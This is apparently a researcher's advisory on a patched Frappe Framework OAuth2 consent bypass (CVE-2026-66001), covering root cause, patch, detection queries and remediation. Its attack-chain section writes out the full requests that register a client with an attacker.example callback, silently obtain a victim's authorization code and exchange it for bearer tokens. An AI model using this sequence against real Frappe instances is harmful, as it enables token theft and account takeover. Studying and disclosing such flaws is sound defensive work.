Summary
| Field | Value |
|---|---|
| CVE ID | CVE-2026-66001 |
| Advisory | GHSA-2ph8-x773-8p2x |
| Vulnerability Type | OAuth2 Consent Bypass / Cross-Site Request Forgery |
| CWE | CWE-352: Cross-Site Request Forgery |
| Attack Vector | Network |
| CVSS v4.0 Base Score | 8.5 (High) |
| CVSS v4.0 Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| Affected Versions | Frappe < 15.114.0; 16.0.0-beta.1 through 16.25.x |
| Patched Versions | 15.114.0 and 16.26.0 |
| Publicly Credited Reporters | DerekHaber and Mohammed Alzahrani (mzalzahrani) |
| Remediation Developer | AarDG10 |
Executive Summary
Frappe Framework contained an improper authorization weakness in its OAuth2 consent flow. In the attack path I validated, an unauthenticated attacker could register an OAuth client when Dynamic Client Registration was enabled, then direct a logged-in victim to the OAuth approval endpoint. The vulnerable endpoint could issue an authorization code and redirect it to the attacker’s registered callback without requiring the victim to complete the expected consent confirmation.
The attacker could then exchange the authorization code for access and refresh tokens and interact with the Frappe API using the victim’s permissions. If the victim held a privileged role such as System Manager, the resulting confidentiality and integrity impact could be substantial.
I discovered and tested this behavior only in my own isolated ERPNext/Frappe laboratory and coordinated disclosure with the Frappe security team. The public advisory credits both DerekHaber and me as reporters.
Affected Components
The vulnerable OAuth2 logic was located primarily in:
frappe/integrations/oauth2.pyfrappe/templates/includes/oauth_confirmation.html- OAuth client and bearer-token handling used by the authorization flow
My testing used:
- Frappe Framework 16.24.3
- ERPNext 16.25.0
- The
frappe/erpnext:v16.25.0Docker image
Attack Preconditions
The lab-validated path required the following conditions:
- The target exposed Frappe’s OAuth2 endpoints.
- Dynamic Client Registration was enabled, allowing the attacker to create an OAuth client with a controlled redirect URI.
- The victim had an active authenticated Frappe session.
- The victim visited an attacker-supplied authorization URL.
The attacker did not need an existing Frappe account for the initial client-registration step in this scenario. User interaction was still required because the victim’s browser had to follow the crafted link while authenticated.
Lab-Validated Attack Chain
1. Register an OAuth client
The attacker submits an unauthenticated request to the dynamic registration endpoint:
POST /api/method/frappe.integrations.oauth2.register_client
Content-Type: application/json
{
"client_name": "security-test-client",
"redirect_uris": ["https://attacker.example/callback"]
}
The server returns a client identifier and secret for the attacker-controlled callback.
2. Trigger the vulnerable approval flow
The victim is directed to the approval endpoint with the attacker’s client ID and redirect URI:
GET /api/method/frappe.integrations.oauth2.approve
?response_type=code
&client_id=<CLIENT_ID>
&redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback
&scope=all
&state=<STATE>
In the vulnerable version, the victim’s authenticated browser could receive an immediate redirect to the attacker-controlled callback containing an authorization code. During my test, no consent confirmation page was displayed.
3. Exchange the authorization code
The attacker submits the captured code to the token endpoint:
POST /api/method/frappe.integrations.oauth2.get_token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=<AUTHORIZATION_CODE>&
redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback&
client_id=<CLIENT_ID>&
client_secret=<CLIENT_SECRET>
The vulnerable flow returns OAuth access and refresh tokens associated with the victim.
4. Access the API as the victim
The resulting bearer token can be presented to authenticated Frappe API endpoints:
Authorization: Bearer <ACCESS_TOKEN>
The effective access is limited by the victim’s Frappe permissions and the granted OAuth scopes. A privileged victim therefore creates a much higher-impact outcome.
Root Cause
The published CVE and remediation identify three related authorization-flow weaknesses:
- The OAuth
approveoperation was not restricted toPOST, allowing state-changing approval through a directGETrequest. - The consent form did not submit a Frappe CSRF token.
- The existing active-token check used by automatic authorization was not scoped to the requesting OAuth client.
Together, these conditions weakened the boundary between displaying a consent decision and actually issuing authorization material. Dynamic Client Registration increased the practicality of my demonstrated attack path by giving an unauthenticated attacker a valid client and controlled redirect URI.
Security Impact
Successful exploitation could allow an attacker to:
- Obtain OAuth access and refresh tokens representing the victim
- Read data accessible through the victim’s API permissions
- Perform state-changing API actions within the granted scopes
- Retain access through a refresh token until it is revoked or otherwise invalidated
- Escalate the business impact when the targeted user has administrative privileges
The vulnerability does not independently grant more permissions than the victim possesses. Its severity comes from silently converting an authenticated browser session into attacker-controlled OAuth authorization material.
Patch Analysis
Frappe hardened the OAuth flow by:
- Restricting
approvetoPOST - Replacing navigation-based approval with a proper HTML form submission
- Adding a CSRF token to the consent form
- Issuing automatic authorization directly only when the configured skip-authorization policy permits it
- Scoping the active bearer-token lookup to the specific requesting OAuth client
The primary fix was merged in frappe/frappe#40073 and backported through #40700 and #40701.
Detection and Threat Hunting
Defenders should review reverse-proxy, application, and database audit records for this sequence:
- A
POSTtofrappe.integrations.oauth2.register_client - A direct
GETtofrappe.integrations.oauth2.approve - A
POSTtofrappe.integrations.oauth2.get_token - Subsequent API activity authenticated with a newly issued bearer token
High-value indicators include newly registered clients with unfamiliar external redirect domains, scope=all, approval requests targeting privileged users, and registration-to-token sequences occurring within a short time window.
Example Splunk hunt for normalized web-proxy fields:
index=frappe sourcetype=web:access
(
uri_path="/api/method/frappe.integrations.oauth2.register_client" OR
uri_path="/api/method/frappe.integrations.oauth2.approve" OR
uri_path="/api/method/frappe.integrations.oauth2.get_token"
)
| eval oauth_stage=case(
like(uri_path, "%register_client"), "client_registration",
like(uri_path, "%approve"), "approval",
like(uri_path, "%get_token"), "token_exchange"
)
| stats earliest(_time) as first_seen latest(_time) as last_seen
values(oauth_stage) as stages values(http_method) as methods
values(status) as statuses values(user_agent) as user_agents
by src_ip, session_id
| where mvcount(stages) >= 2
| convert ctime(first_seen) ctime(last_seen)
Field names should be adapted to the organization’s proxy or SIEM schema. Frappe administrators should also inventory OAuth Client and OAuth Bearer Token records, validate redirect URIs, identify unexpected privileged-user grants, and revoke suspicious clients and tokens.
MITRE ATT&CK Context
The following behavioral mappings may help structure detection coverage; they are analytical mappings rather than assignments made by the vendor advisory:
- T1566.002 — Phishing: Spearphishing Link: delivery of the crafted OAuth approval URL
- T1528 — Steal Application Access Token: acquisition of OAuth access and refresh tokens
- T1550.001 — Use Alternate Authentication Material: Application Access Token: use of the issued bearer token to access Frappe APIs
Remediation
Upgrade immediately to a patched Frappe Framework release:
- 15.114.0 or later for the version 15 branch
- 16.26.0 or later for the version 16 branch
The vendor advisory states that no workaround is available. Where an immediate upgrade is temporarily impossible, defenders should reduce exposure by disabling unneeded Dynamic Client Registration, restricting access to OAuth endpoints at the reverse proxy, reviewing registered redirect URIs, and revoking unknown OAuth clients and bearer tokens. These are compensating controls, not substitutes for patching.
Disclosure and Exploitation Status
- Vendor fix merged and backported: July 9, 2026
- CVE reserved: July 23, 2026
- GitHub Security Advisory published: August 10, 2026
- CVE published: August 20, 2026
- Public severity: CVSS 4.0 8.5 High
- Public evidence of exploitation in the wild: none identified in the sources reviewed as of September 7, 2026
References
- Frappe Security Advisory — GHSA-2ph8-x773-8p2x
- CVE.org — CVE-2026-66001
- NIST NVD — CVE-2026-66001
- Rapid7 Vulnerability Database
- Tenable CVE Entry
- Google OSV Entry
- Frappe OAuth Hardening Pull Request #40073
- Frappe 15.114.0 Release
- Frappe 16.26.0 Release
Discovered and responsibly reported by Mohammed Alzahrani (mzalzahrani), with public advisory credit shared with DerekHaber. Remediation was developed by AarDG10 and the Frappe team.